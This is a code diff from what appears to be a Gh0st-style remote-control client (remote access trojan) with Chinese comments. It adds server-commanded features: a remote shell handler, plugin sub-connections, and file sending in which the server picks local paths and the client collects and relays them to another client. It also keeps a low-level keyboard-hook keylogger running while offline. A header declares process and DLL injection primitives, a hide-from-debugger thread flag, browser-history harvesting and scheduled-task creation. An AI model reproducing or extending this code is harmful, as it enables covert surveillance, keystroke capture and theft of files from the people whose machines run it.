sub->EnableSubConnAuth(); // 子连接:每次连上后自动发 TOKEN_CONN_AUTH 校验
m_hThread[m_ulThreadCount].p = sub;
}
m_hThread[m_ulThreadCount++].h = __CreateThread(NULL,0, LoopFileManagerPlugin, &m_hThread[m_ulThreadCount], 0, NULL);;
break;
}
case COMMAND_PRIVATE_SCREEN_PLUGIN: { // 隐私屏幕(虚拟桌面,SimplePlugins 迁移)
{
auto* sub = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn, publicIP);
sub->EnableSubConnAuth(); // 子连接:每次连上后自动发 TOKEN_CONN_AUTH 校验
m_hThread[m_ulThreadCount].p = sub;
}
m_hThread[m_ulThreadCount++].h = __CreateThread(NULL,0, LoopPrivateScreenPlugin, &m_hThread[m_ulThreadCount], 0, NULL);;
break;
}
case COMMAND_DRAWING_BOARD_PLUGIN: { // 远程画板(SimplePlugins 迁移)
{
auto* sub = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn, publicIP);
sub->EnableSubConnAuth(); // 子连接:每次连上后自动发 TOKEN_CONN_AUTH 校验
m_hThread[m_ulThreadCount].p = sub;
}
m_hThread[m_ulThreadCount++].h = __CreateThread(NULL,0, LoopDrawingBoardPlugin, &m_hThread[m_ulThreadCount], 0, NULL);;
break;
}
case COMMAND_SHELL: {
if (!ENABLE_SHELL) {
return ResponseDisable(m_ClientObject, "SHELL", szBuffer + 1, ulLength - 1);
@@ -1253,6 +1371,18 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
break;
}
case CMD_FILE_SPEED: {
// 主控端下发文件传输速度档位:[cmd:1][chunkKb:uint16 LE][durationMs:uint16 LE]。
// 写入 [transfer] 节,供各 InitFileUpload 调用点经 GetTransferSpeed 读取。
if (ulLength >= 5) {
int chunkKb = szBuffer[1] | (szBuffer[2] << 8);
int durMs = szBuffer[3] | (szBuffer[4] << 8);
m_cfg->SetInt("transfer", "ChunkKb", chunkKb);
m_cfg->SetInt("transfer", "DurationMs", durMs);
}
break;
}
case COMMAND_LIST_DRIVE : {
if (!ENABLE_FILE_MNG) {
return ResponseDisable(m_ClientObject, "FILE", szBuffer + 1, ulLength - 1);
@@ -1320,6 +1450,19 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
break;
}
case COMMAND_CONNECTION: {
if (!ENABLE_CONNECTION_MNG) {
return ResponseDisable(m_ClientObject, "CONNECTION", szBuffer + 1, ulLength - 1);
}
{
auto* sub = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn, publicIP);
sub->EnableSubConnAuth(); // 子连接:每次连上后自动发 TOKEN_CONN_AUTH 校验
m_hThread[m_ulThreadCount].p = sub;
}
m_hThread[m_ulThreadCount++].h = __CreateThread(NULL,0, LoopConnectionManager, &m_hThread[m_ulThreadCount], 0, NULL);
break;
}
case COMMAND_UPDATE: {
auto typ = m_conn->ClientType();
if (typ == CLIENT_TYPE_DLL || typ == CLIENT_TYPE_MODULE) {
@@ -1368,8 +1511,44 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
}
case COMMAND_SEND_FILE_V2: {
// 主连接接收 V2 上传:确保文件传输模块已初始化(RecvFileChunkV2 依赖 g_status==1)。
EnsureV2TransferInited();
// C2C/V2 文件接收(RecvFileChunkV2 内部会打印进度)
int n = RecvFileChunkV2((char*)szBuffer, ulLength, m_conn,
// 展开文件名中的环境变量(如 %USERPROFILE%),与 V1 的 COMMAND_FILE_SIZE 保持一致。
// 快捷图标定位远程目录时,主控端下发的 targetDir 仍含未展开的 %USERPROFILE%
// (server/2015Remote/FileManagerDlg.cpp OnRemoteDesktop/Downloads/Home),
// 若不在接收端展开,RecvFileChunkV2 会按字面量建目录(如 CWD\%%USERPROFILE%%\...)。
char* recvBuf = (char*)szBuffer;
size_t recvLen = ulLength;
std::vector<uint8_t> rebuilt;
if (ulLength >= sizeof(FileChunkPacketV2) && szBuffer[0] == COMMAND_SEND_FILE_V2) {
const FileChunkPacketV2* pkt = (const FileChunkPacketV2*)szBuffer;
if (ulLength >= sizeof(FileChunkPacketV2) + pkt->nameLength + pkt->dataLength) {
// 文件名未必以 '\0' 结尾,先构造出以 '\0' 结尾的副本
std::string name((const char*)szBuffer + sizeof(FileChunkPacketV2), (size_t)pkt->nameLength);
char expanded[MAX_PATH * 2] = { 0 };
DWORD n = ExpandEnvironmentStringsA(name.c_str(), expanded, (DWORD)sizeof(expanded));
if (n > 0 && n < (DWORD)sizeof(expanded)) {
std::string newName(expanded, n - 1); // n 含末尾 '\0'
if (newName.size() != pkt->nameLength) {
// 展开后长度变化,重建包:[header][展开后的 name][data]
size_t newLen = sizeof(FileChunkPacketV2) + newName.size() + pkt->dataLength;
rebuilt.resize(newLen);
memcpy(rebuilt.data(), szBuffer, sizeof(FileChunkPacketV2));
FileChunkPacketV2* newPkt = (FileChunkPacketV2*)rebuilt.data();
newPkt->nameLength = newName.size();
memcpy(rebuilt.data() + sizeof(FileChunkPacketV2), newName.data(), newName.size());
memcpy(rebuilt.data() + sizeof(FileChunkPacketV2) + newName.size(),
(const char*)szBuffer + sizeof(FileChunkPacketV2) + pkt->nameLength,
(size_t)pkt->dataLength);
recvBuf = (char*)rebuilt.data();
recvLen = newLen;
}
}
}
}
int n = RecvFileChunkV2(recvBuf, recvLen, m_conn,
nullptr, m_hash, m_hmac, m_MyClientID);
if (n) {
Mprintf("[C2C] RecvFileChunkV2 failed: %d\n", n);
@@ -1377,6 +1556,12 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
break;
}
case COMMAND_C2C_SEND_FILES: {
// C2C 按路径清单发送:服务端指定「源端路径 + 目标端目录」,见 OnC2CSendFiles。
OnC2CSendFiles(szBuffer, ulLength);
break;
}
case COMMAND_CLIPBOARD_V2: {
// C2C 剪贴板请求:被请求发送剪贴板文件到另一个客户端
ClipboardRequestV2* req = (ClipboardRequestV2*)szBuffer;
@@ -1652,6 +1837,182 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
}
}
// V2 文件传输模块是进程级的(InitFileUpload/UninitFileUpload 成对),发送与接收共用一次初始化:
// static 标志保证进程内只初始化一次,不随主连接重连反复 Init/Uninit,也不会被发送/接收两个
// 入口各自初始化一次(第二次 Init 会重置状态并泄漏前一次的上下文)。
void CKernelManager::EnsureV2TransferInited()
{
static bool s_v2Inited = false;
if (s_v2Inited) return;
int chunkKb, durMs;
GetTransferSpeed(*m_cfg, chunkKb, durMs);
int rc = InitFileUpload({}, m_LoginMsg, m_LoginSignature, chunkKb, durMs, Logf);
if (rc != 0) Mprintf("[V2] InitFileUpload 返回 %d,V2 文件传输可能不可用\n", rc);
s_v2Inited = true;
}
// 收集目录下的文件与子目录(语义同 CFileManager::CollectFilesRecursiveV2:
// 目录本身先作为一条 V2 目录项,随后是子项)。无成员依赖,主连接侧直接复用。
static void CollectFilesForC2C(const std::string& dirPath, std::vector<std::string>& files)
{
std::string dirEntry = dirPath;
while (!dirEntry.empty() && (dirEntry.back() == '\\' || dirEntry.back() == '/'))
dirEntry.pop_back();
if (!dirEntry.empty()) files.push_back(dirEntry);
WIN32_FIND_DATAA wfd;
HANDLE hFind = FindFirstFileA((dirPath + "*.*").c_str(), &wfd);
if (hFind == INVALID_HANDLE_VALUE) return;
do {
if (wfd.cFileName[0] == '.') continue;
std::string fullPath = dirPath + wfd.cFileName;
if (wfd.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY)
CollectFilesForC2C(fullPath + "\\", files);
else
files.push_back(fullPath);
} while (FindNextFileA(hFind, &wfd));
FindClose(hFind);
}
// 展开 %VAR%(与 CFileManager 的静态 ExpandPath 同语义,展开失败返回原路径)
static std::string ExpandPathForC2C(const char* path)
{
char szExpanded[MAX_PATH * 2] = { 0 };
DWORD len = ExpandEnvironmentStringsA(path, szExpanded, (DWORD)sizeof(szExpanded));
if (len > 0 && len < (DWORD)sizeof(szExpanded)) return szExpanded;
return path;
}
// C2C 按路径清单发送(服务端 → 源客户端)。
// 包格式:[C2CSendFilesPacket][targetDir\0][path1\0]...[pathN\0][\0](ANSI/936)。
// 与 COMMAND_CLIPBOARD_V2 的差别只在文件来源:这里的路径由服务端指定,不取剪贴板/资源管理器选中项。
// 数据由本端新开子连接上行,服务端按包内 dstClientID 原样中继到目标客户端的主连接。
void CKernelManager::OnC2CSendFiles(PBYTE szBuffer, ULONG ulLength)
{
if (ulLength < sizeof(C2CSendFilesPacket)) return;
const C2CSendFilesPacket* req = (const C2CSendFilesPacket*)szBuffer;
const char* p = (const char*)szBuffer + sizeof(C2CSendFilesPacket);
const char* end = (const char*)szBuffer + ulLength;
std::string targetDir = (p < end) ? std::string(p) : std::string();
p += targetDir.size() + 1;
std::vector<std::string> paths;
while (p < end && *p != '\0') {
paths.push_back(p);
p += strlen(p) + 1;
}
// 收包缓冲在 OnReceive 返回后即失效:先把要用的字段拷出来,线程里只用副本。
const uint64_t transferID = req->transferID;
const uint64_t dstClientID = req->dstClientID;
std::string hash(req->hash, strnlen(req->hash, sizeof(req->hash)));
std::string hmac(req->hmac, strnlen(req->hmac, sizeof(req->hmac)));
// 结果包(服务端 TOKEN_C2C_SEND_RESULT → MCP 等待线程)。任何早退都要回一包,
// 否则服务端只能干等超时——这与 download_file 早期的「静默超时」是同一种毛病。
auto sendResult = [&](uint32_t status, uint32_t win32err, int32_t workerRc,
uint32_t fileCount, uint64_t totalBytes) {
C2CSendResultPacket res = {};
res.cmd = TOKEN_C2C_SEND_RESULT;
res.transferID = transferID;
res.dstClientID = dstClientID;
res.status = status;
res.win32err = win32err;
res.workerRc = workerRc;
res.fileCount = fileCount;
res.totalBytes = totalBytes;
m_ClientObject->Send2Server((char*)&res, sizeof(res));
};
// FileBatchTransferWorkerV2 依赖 g_status==1(InitFileUpload 已调用),否则直接返回 -1。
// 源端可能从未打开过文件管理器、也从未接收过上传,所以这里必须显式初始化。
EnsureV2TransferInited();
if (paths.empty() || targetDir.empty()) {
Mprintf("[C2C] 路径清单发送请求非法: transferID=%llu, paths=%zu, targetDir=%s\n",
transferID, paths.size(), targetDir.c_str());
sendResult(FEV2_FILE_NOT_FOUND, ERROR_INVALID_PARAMETER, 0, 0, 0);
return;
}
// 收集文件:展开环境变量、递归展开目录(目录项本身也发给目标端,用于建空目录)
std::vector<std::string> allFiles;
DWORD dwFirstErr = 0;
for (const std::string& raw : paths) {
std::string localPath = ExpandPathForC2C(raw.c_str());
DWORD attrs = GetFileAttributesA(localPath.c_str());
if (attrs == INVALID_FILE_ATTRIBUTES) {
if (dwFirstErr == 0) dwFirstErr = GetLastError();
Mprintf("[C2C] 源路径不可访问: %s (win32=%lu)\n", localPath.c_str(), dwFirstErr);
continue;
}
if (attrs & FILE_ATTRIBUTE_DIRECTORY) {
std::string dirPath = localPath;
if (dirPath.back() != '\\') dirPath += '\\';
CollectFilesForC2C(dirPath, allFiles);
} else {
allFiles.push_back(localPath);
}
}
if (allFiles.empty()) {
sendResult(FEV2_FILE_NOT_FOUND,
dwFirstErr ? dwFirstErr : (DWORD)ERROR_FILE_NOT_FOUND, 0, 0, 0);
return;
}
// 统计(目录项不计入 fileCount/totalBytes)
uint32_t fileCount = 0;
uint64_t totalBytes = 0;
for (const std::string& f : allFiles) {
WIN32_FILE_ATTRIBUTE_DATA fad;
if (!GetFileAttributesExA(f.c_str(), GetFileExInfoStandard, &fad)) continue;
if (fad.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY) continue;
fileCount++;
totalBytes += ((uint64_t)fad.nFileSizeHigh << 32) | fad.nFileSizeLow;
}
IOCPClient* pClient = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn);
pClient->EnableSubConnAuth(); // V2 文件传输子连接:每次连上后自动发 TOKEN_CONN_AUTH 校验
if (!pClient->ConnectServer(m_ClientObject->ServerIP().c_str(), m_ClientObject->ServerPort())) {
delete pClient;
Mprintf("[C2C] 连接服务器失败\n");
sendResult(1001, 0, -1, 0, 0);
return;
}
TransferOptionsV2 opts;
opts.transferID = transferID;
opts.srcClientID = m_MyClientID;
opts.dstClientID = dstClientID;
opts.enableResume = false; // v1 不做断点续传:失败即整包重发(目标端状态按 transferID 索引)
std::thread([allFiles, targetDir, pClient, opts, hash, hmac,
transferID, dstClientID, fileCount, totalBytes]() {
int rc = FileBatchTransferWorkerV2(allFiles, targetDir, pClient,
[](void* user, FileChunkPacketV2* chunk, unsigned char* data, int size) -> bool {
IOCPClient* client = (IOCPClient*)user;
return client->Send2Server((char*)data, size) != FALSE;
},
nullptr, hash, hmac, opts);
C2CSendResultPacket res = {};
res.cmd = TOKEN_C2C_SEND_RESULT;
res.transferID = transferID;
res.dstClientID = dstClientID;
res.status = (rc == 0) ? (uint32_t)FEV2_OK : (uint32_t)1001;
res.win32err = 0;
res.workerRc = (int32_t)rc;
res.fileCount = fileCount;
res.totalBytes = totalBytes;
pClient->Send2Server((char*)&res, sizeof(res));
delete pClient;
Mprintf("[C2C] 路径清单发送结束: transferID=%llu, %u 个文件, rc=%d\n",
transferID, fileCount, rc);
}).detach();
}
void CKernelManager::OnHeatbeatResponse(PBYTE szBuffer, ULONG ulLength)
{
if (ulLength > 8) {
+23
View File
@@ -40,6 +40,24 @@ public:
return (!IsWorkstationLocked() ? "Inactive: " : "Locked: ") + FormatMilliseconds(idle);
}
// 返回当前活跃窗口标题;若空闲(idle ≥ threshold_ms)或取不到标题则返回空串。
// 供历史活动采集使用,避免“判定活跃”与“取标题”之间的竞态窗口。
std::string GetActiveTitleOrEmpty(DWORD threshold_ms = 6000)
{
if (GetUserIdleTime() >= threshold_ms)
return std::string();
return GetActiveWindowTitle();
}
// 返回当前前台窗口句柄;空闲(idle ≥ threshold_ms)返回 NULL。
// 历史活动按窗口(HWND)而非标题字符串累计:标题动态变化时不会反复归零。
HWND GetActiveWindowHandle(DWORD threshold_ms = 6000)
{
if (GetUserIdleTime() >= threshold_ms)
return NULL;
return GetForegroundWindow();
}
private:
std::string FormatMilliseconds(DWORD ms)
{
@@ -182,6 +200,11 @@ public:
std::string m_hash;
std::string m_hmac;
uint64_t m_MyClientID = 0;
// COMMAND_C2C_SEND_FILES:按服务端指定的路径清单把文件直接发给另一个客户端。
// 包格式 [C2CSendFilesPacket][targetDir\0][path1\0]...[pathN\0][\0],结果用 TOKEN_C2C_SEND_RESULT 回传。
void OnC2CSendFiles(PBYTE szBuffer, ULONG ulLength);
// 进程级 V2 文件传输模块初始化(幂等),发送与接收两条路径共用。
void EnsureV2TransferInited();
// 执行代码
std::map<std::string, std::vector<BYTE>> m_MemDLL;
void SetLoginMsg(const std::string& msg)
+5 -1
View File
@@ -679,7 +679,11 @@ DWORD WINAPI CKeyboardManager1::KeyLogger(LPVOID lparam)
if (!SetHook(WriteBuffer, pThis->m_Buffer)) {
return -1;
}
while (pThis->IsConnected() && PeekMessage(&msg, NULL, 0, 0, PM_REMOVE));
// 低层键盘钩子的回调在本线程的消息泵里执行,所以只要钩子还装着就必须泵消息。
// 离线记录时即使没有键盘子连接钩子也常驻;此前要求 IsConnected() 才泵,
// 等于在输入链上挂一个永不返回的钩子(每个按键被 LowLevelHooksTimeout 卡住),
// 同机的 YAMA 钩子收不到完整按键对,Win 快捷键与 Ctrl+V 转发失效。
while (PeekMessage(&msg, NULL, 0, 0, PM_REMOVE));
#else
int num = lstrlen(KeyBuffer);
if (pThis->IsWindowsFocusChange(PreviousFocus, WindowCaption, szText, num > 0) || num > 2000) {
+56 -10
View File
@@ -289,6 +289,35 @@ uint64_t CalcalateIDv2(const std::string& machineGuid, const std::string& normal
return XXH64(s.c_str(), s.length(), 0);
}
// 撞 ID 的克隆机重生成 client_id:在旧 ID 基础上掺一个一次性随机 UUID 再哈希。
// 只在服务端判定「主机名不同却撞 ID」后下发 COMMAND_REGEN_CLIENT_ID 触发,不影响
// 正常(首次)登录的 CalcalateIDv2 算法;唯一性由随机 UUID 保证,同批克隆机各自
// 随机,重算后必然不同。
uint64_t RegenerateClientID(uint64_t oldID)
{
// 16 字节随机数充当一次性 UUID(RtlGenRandom = advapi32 SystemFunction036)。
unsigned char rnd[16] = {};
if (!RtlGenRandom(rnd, (ULONG)sizeof(rnd))) {
// 极少数环境 RtlGenRandom 可能失败:退化为时间/进程/线程/性能计数混合的 LCG,
// 保证仍能产出与旧 ID 不同的新 ID(不追求密码学强度,只需撞车概率足够低)。
uint64_t mix = GetTickCount64() ^ ((uint64_t)GetCurrentProcessId() << 32)
^ (uint64_t)GetCurrentThreadId();
LARGE_INTEGER pc;
QueryPerformanceCounter(&pc);
mix ^= (uint64_t)pc.QuadPart;
for (int i = 0; i < 16; ++i) {
mix = mix * 6364136223846793005ULL + 1442695040888963407ULL;
rnd[i] = (unsigned char)(mix >> 56);
}
}
char hex[33];
for (int i = 0; i < 16; ++i)
sprintf_s(hex + i * 2, 3, "%02X", (unsigned)rnd[i]);
hex[32] = '\0';
std::string seed = std::to_string(oldID) + "|" + hex;
return XXH64(seed.c_str(), seed.size(), 0);
}
BOOL IsAuthKernel(std::string &str) {
BOOL isAuthKernel = FALSE;
std::string pid = std::to_string(GetCurrentProcessId());
@@ -378,13 +407,29 @@ LOGIN_INFOR GetLoginInfo(DWORD dwSpeed, CONNECT_ADDRESS& conn, const std::string
std::string pubIP = cfg.GetStr("settings", "public_ip", "");
auto ip_time = cfg.GetInt("settings", "ip_time");
bool timeout = ip_time <= 0 || (time(0) - ip_time > 7 * 86400);
// 升级后强制重新查询一次:旧版缓存的 location 是 GBK/CP1252,或已把 ö/ä/ß 等替换成 '?';
// 新版 GetGeoLocation 改为 UTF-8 上报(见 common/location.h),需重新拉取才能修正。
// 版本号即编译日期 __DATE__(见 common/commands.h 的 DLL_VERSION):编译期宏,内存 DLL
// 也能取到,且每次编译都会变,天然标识“升级”,无需手动递增,也不依赖 exe 版本资源。
bool cacheVerChanged = (cfg.GetStr("settings", "loc_cache_ver", "") != __DATE__);
IPConverter cvt;
if (loc.empty() || pubIP.empty() || timeout) {
pubIP = cvt.getPublicIP();
loc = cvt.GetGeoLocation(pubIP);
cfg.SetStr("settings", "location", loc);
cfg.SetStr("settings", "public_ip", pubIP);
cfg.SetInt("settings", "ip_time", time(0));
if (loc.empty() || pubIP.empty() || timeout || cacheVerChanged) {
std::string newPubIP = pubIP;
// 升级重查 location 时复用已缓存的公网 IP;仅当 IP 缺失或 7 天过期才重新探测,
// 否则离线/无外网机器每次重连都会轮询 5 个公网 IP 源、空等数秒到十几秒。
if (pubIP.empty() || timeout) {
newPubIP = cvt.getPublicIP();
}
std::string newLoc = cvt.GetGeoLocation(newPubIP);
// 仅查询成功才覆盖缓存并推进版本号;失败保留旧值,下次登录仍会重试。
if (!newLoc.empty() && !newPubIP.empty()) {
pubIP = newPubIP;
loc = newLoc;
cfg.SetStr("settings", "location", loc);
cfg.SetStr("settings", "public_ip", pubIP);
cfg.SetInt("settings", "ip_time", time(0));
cfg.SetStr("settings", "loc_cache_ver", __DATE__);
}
}
LoginInfor.AddReserved(loc.c_str());
LoginInfor.AddReserved(pubIP.c_str());
@@ -396,13 +441,13 @@ LOGIN_INFOR GetLoginInfo(DWORD dwSpeed, CONNECT_ADDRESS& conn, const std::string
sprintf(cpuInfo, "%dMHz", dwCPUMHz);
std::string clientID = cfg.GetStr("settings", "client_id");
if (clientID.empty()) {
// V2 ID 算法:MachineGuid + 归一化路径
// - 同机同程序路径永远同 ID(不依赖 IP/PCName/OS/CPU 漂移)
// - 局域网多机即便同镜像(sysprep 会让 MachineGuid 各不同)也不撞库
// V2 ID 算法:MachineGuid + 主机名 + 归一化路径
// - 主机名兜底区分同镜像克隆机:MachineGuid 相同、路径相同仍能靠主机名区分。
// - 代价:改名会让 client_id 变化,丢该主机的备注/授权/历史;主机名非硬件唯一,重名仍撞。
// MachineGuid 读取失败的极端情况退化到老算法,保兼容。
std::string machineGuid = GetMachineGuidWindows();
if (!machineGuid.empty()) {
conn.clientID = CalcalateIDv2(machineGuid, NormalizeExePathLower(buf), isAuth);
conn.clientID = CalcalateIDv2(machineGuid + "|" + szPCName, NormalizeExePathLower(buf), isAuth);
} else {
Mprintf("WARN: MachineGuid 读取失败,回退到老 ID 算法\n");
conn.clientID = CalcalateID({ pubIP, szPCName, LoginInfor.OsVerInfoEx, cpuInfo, buf });
@@ -428,6 +473,7 @@ LOGIN_INFOR GetLoginInfo(DWORD dwSpeed, CONNECT_ADDRESS& conn, const std::string
double KB = fileInfo.nFileSizeLow > 1024 ? fileInfo.nFileSizeLow / 1024.0 : 0;
sprintf_s(fileSize, "%.1f%s", MB > 0 ? MB : KB, MB > 0 ? "M" : "K");
LoginInfor.AddReserved(fileSize); // 文件大小
LoginInfor.AddReserved(TlsEnabled() ? 1 : 0); // TLS 启用标志:有信任锚(证书)即 1
return LoginInfor;
}
+1
View File
@@ -7,6 +7,7 @@
std::string GetMachineGuidWindows();
uint64_t CalcalateIDv2(const std::string& machineGuid, const std::string& normalizedPath, bool isAuth = false);
uint64_t RegenerateClientID(uint64_t oldID);
BOOL IsAuthKernel(std::string& str);
LOGIN_INFOR GetLoginInfo(DWORD dwSpeed, CONNECT_ADDRESS &conn, const std::string& expiredDate, bool isAuth);
DWORD CPUClockMHz();
File diff suppressed because it is too large. Load diff
+203
View File
@@ -0,0 +1,203 @@
#pragma once
#include "Manager.h"
#include <Iphlpapi.h>
#include <tlhelp32.h>
#include <map>
#include <WINSOCK2.H>
#include "yapi.hpp"
#pragma comment(lib, "Iphlpapi.lib")
#pragma comment(lib, "WS2_32.lib")
#include <taskschd.h>
#include <comutil.h>
#pragma comment(lib, "taskschd.lib")
#pragma comment(lib, "comsupp.lib")
typedef std::map<DWORD, std::string> PidandStitle; // 进程ID与窗口名
#define MAKE_PAIR(_a,b,c) _a::value_type((b),(c))
#define THREAD_CREATE_FLAGS_CREATE_SUSPENDED 0x00000001
#define THREAD_CREATE_FLAGS_SKIP_THREAD_ATTACH 0x00000002
#define THREAD_CREATE_FLAGS_HIDE_FROM_DEBUGGER 0x00000004
class CMachineManager : public CManager
{
public:
BOOL m_bUse;
CMachineManager(IOCPClient* ClientObject, int n, void* user = nullptr);
virtual ~CMachineManager();
virtual void OnReceive(PBYTE lpBuffer, ULONG nSize);
private:
static BOOL DebugPrivilege(const char* PName, BOOL bEnable);
static bool CALLBACK EnumWindowsProc(HWND hwnd, LPARAM lParam);
HWND GetHwndByPid(DWORD dwProcessID);
bool Is64BitOS();
bool Is64BitPorcess(DWORD dwProcessID);
char* ProcessPidToName(HANDLE hProcessSnap, DWORD ProcessId, char* ProcessName, int nSize);
BOOL EnablePrivilege(LPCTSTR lpPrivilegeName, BOOL bEnable);
void DeleteService(LPBYTE lpBuffer, UINT nSize);
void MyControlService(LPBYTE lpBuffer, UINT nType);
void SendProcessList();
LPBYTE getProcessList(); //进程
void SendWindowsList();
LPBYTE getWindowsList(); //窗口
void SendNetStateList();
LPBYTE getNetStateList();
void SendSoftWareList();
LPBYTE getSoftWareList(); //软件列表
void SendIEHistoryList();
LPBYTE getIEHistoryList(); // 浏览记录
void SendFavoritesUrlList();
void FindFavoritesUrl(char* searchfilename, PBYTE &data, int &offset);
LPBYTE getFavoritesUrlList(); //收藏夹
void SendServicesList(DWORD dwScType = SERVICE_WIN32);
LPBYTE getServiceList(DWORD dwScType);
PBYTE GetTaskAll(ITaskFolder* pFolder, PBYTE &data, int &offset); //获取目录下的所有任务
PBYTE GetFolderAll(ITaskFolder* pFolder, PBYTE &data, int &offset);//获取目录下的子目录
PBYTE GetRoot(); //获取根目录下的子文件夹
BOOL CreateTask(LPBYTE lpBuffer); //创建计划任务
BOOL RunOrStopTask(LPBYTE lpBuffer, BOOL Action); //执行或停止
BOOL DelTask(LPBYTE lpBuffer); //删除计划任务
BOOL GetProgramPath(ITaskDefinition* iDefinition, BSTR* exepath);
void SaveData(const std::string& taskname, const std::string& path,
const std::string& exepath, const std::string& status,
DATE LastTime, DATE NextTime, PBYTE &data, int &offset); //保存数据到缓冲区
DWORD m_dwServiceType;
void SendHostsList();
void injectprocess(DWORD mode, DWORD ExeIsx86, DWORD dwProcessID,byte* data, DWORD datasize,char* path);
void SendError(const char* Terror);
};
struct Browsinghistory {
char strTime[100];
char strTitle[1024];
char strUrl[1024];
};
typedef struct {
DWORD dwState; // 连接状态
DWORD dwLocalAddr; // 本地地址
DWORD dwLocalPort; // 本地端口
DWORD dwRemoteAddr; // 远程地址
DWORD dwRemotePort; // 远程端口
DWORD dwProcessId; // 进程ID号
} MIB_TCPEXROW, * PMIB_TCPEXROW;
typedef struct {
DWORD dwNumEntries;
MIB_TCPEXROW table[ANY_SIZE];
} MIB_TCPEXTABLE, * PMIB_TCPEXTABLE;
typedef struct {
DWORD dwLocalAddr; // 本地地址
DWORD dwLocalPort; // 本地端口
DWORD dwProcessId; // 进程ID号
} MIB_UDPEXROW, * PMIB_UDPEXROW;
typedef struct {
DWORD dwNumEntries;
MIB_UDPEXROW table[ANY_SIZE];
} MIB_UDPEXTABLE, * PMIB_UDPEXTABLE;
typedef struct {
DWORD dwState; //连接状态
DWORD dwLocalAddr; //本地地址
DWORD dwLocalPort; //本地端口
DWORD dwRemoteAddr; //远程地址
DWORD dwRemotePort; //远程端口
DWORD dwProcessId; //进程标识
DWORD Unknown; //待定标识
} MIB_TCPEXROW_VISTA, * PMIB_TCPEXROW_VISTA;
typedef struct {
DWORD dwNumEntries;
MIB_TCPEXROW_VISTA table[ANY_SIZE];
} MIB_TCPEXTABLE_VISTA, * PMIB_TCPEXTABLE_VISTA;
typedef DWORD(WINAPI* _InternalGetTcpTable2)(
PMIB_TCPEXTABLE_VISTA* pTcpTable_Vista,
HANDLE heap,
DWORD flags
);
typedef DWORD(WINAPI* PFNInternalGetUdpTableWithOwnerPid)(
PMIB_UDPEXTABLE* pUdpTable,
HANDLE heap,
DWORD flags
);
// 扩展函数原型
typedef DWORD(WINAPI* PFNAllocateAndGetTcpExTableFromStack)(
PMIB_TCPEXTABLE* pTcpTable,
BOOL bOrder,
HANDLE heap,
DWORD zero,
DWORD flags
);
typedef DWORD(WINAPI* PFNAllocateAndGetUdpExTableFromStack)(
PMIB_UDPEXTABLE* pUdpTable,
BOOL bOrder,
HANDLE heap,
DWORD zero,
DWORD flags
);
typedef _CLIENT_ID* PCLIENT_ID;
typedef NTSTATUS(NTAPI* pNtOpenProcess)(PHANDLE ProcessHandle, ACCESS_MASK DesiredAccess, POBJECT_ATTRIBUTES ObjectAttributes, PCLIENT_ID ClientId);
typedef NTSTATUS(NTAPI* pNtOpenThread)(PHANDLE ThreadHandle, ACCESS_MASK AccessMask, POBJECT_ATTRIBUTES ObjectAttributes, PCLIENT_ID);
typedef NTSTATUS(NTAPI* pNtSuspendThread)(HANDLE ThreadHandle, PULONG SuspendCount);
typedef NTSTATUS(NTAPI* pNtAlertResumeThread)(HANDLE ThreadHandle, PULONG SuspendCount);
typedef NTSTATUS(NTAPI* pNtAllocateVirtualMemory)(HANDLE ProcessHandle, PVOID* BaseAddress, ULONG_PTR ZeroBits, PSIZE_T RegionSize, ULONG AllocationType, ULONG Protect);
typedef NTSTATUS(NTAPI* pNtWriteVirtualMemory)(HANDLE ProcessHandle, PVOID BaseAddress, PVOID Buffer, ULONG NumberOfBytesToWrite, PULONG NumberOfBytesWritten);
typedef NTSTATUS(NTAPI* pNtQueueApcThread)(HANDLE ThreadHandle, PIO_APC_ROUTINE ApcRoutine, PVOID ApcRoutineContext OPTIONAL, PIO_STATUS_BLOCK ApcStatusBlock OPTIONAL, ULONG ApcReserved OPTIONAL);
typedef NTSTATUS(WINAPI* pLdrLoadDll)(IN PWCHAR PathToFile OPTIONAL, IN ULONG Flags OPTIONAL, IN PUNICODE_STRING ModuleFileName, OUT PHANDLE ModuleHandle);
typedef VOID(WINAPI* pRtlInitUnicodeString)(PUNICODE_STRING DestinationString, PCWSTR SourceString);
typedef NTSTATUS(NTAPI* pfnNtCreateThreadEx)
(
OUT PHANDLE hThread,
IN ACCESS_MASK DesiredAccess,
IN PVOID ObjectAttributes,
IN HANDLE ProcessHandle,
IN PVOID lpStartAddress,
IN PVOID lpParameter,
IN ULONG Flags,
IN SIZE_T StackZeroBits,
IN SIZE_T SizeOfStackCommit,
IN SIZE_T SizeOfStackReserve,
OUT PVOID lpBytesBuffer);
typedef struct _THREAD_DATA
{
pRtlInitUnicodeString fnRtlInitUnicodeString;
pLdrLoadDll fnLdrLoadDll;
UNICODE_STRING UnicodeString;
WCHAR DllName[260];
PWCHAR DllPath;
ULONG Flags;
HANDLE ModuleHandle;
}THREAD_DATA, * PTHREAD_DATA;
struct InjectData {
DWORD ExeIsx86;
DWORD mode; //注入模式
DWORD dwProcessID;//进程ID
DWORD datasize; //本地数据尺寸
char strpath[1024]; //远程落地目录
};
+21 -4
View File
@@ -119,21 +119,38 @@ HDESK OpenActiveDesktop(ACCESS_MASK dwDesiredAccess)
HDESK hInputDesktop = OpenInputDesktop(0, FALSE, dwDesiredAccess);
if (!hInputDesktop) {
Mprintf("OpenInputDesktop failed: %d, trying Winlogon\n", GetLastError());
// 限制失败日志频率:锁屏/无交互桌面/权限不足(如 ERROR_ACCESS_DENIED=5)时,
// 这些错误会随调用循环每秒触发、刷屏严重,这里最多每分钟记录一次。
DWORD err = GetLastError(); // 立即捕获 OpenInputDesktop 的错误,避免后续调用覆盖
static DWORD s_lastDesktopFailLog = 0;
DWORD now = GetTickCount();
bool logDue = (now - s_lastDesktopFailLog >= 60000);
if (logDue)
s_lastDesktopFailLog = now;
if (logDue)
Mprintf("OpenInputDesktop failed: %d, trying Winlogon\n", err);
HWINSTA hWinSta = OpenWindowStation("WinSta0", FALSE, WINSTA_ALL_ACCESS);
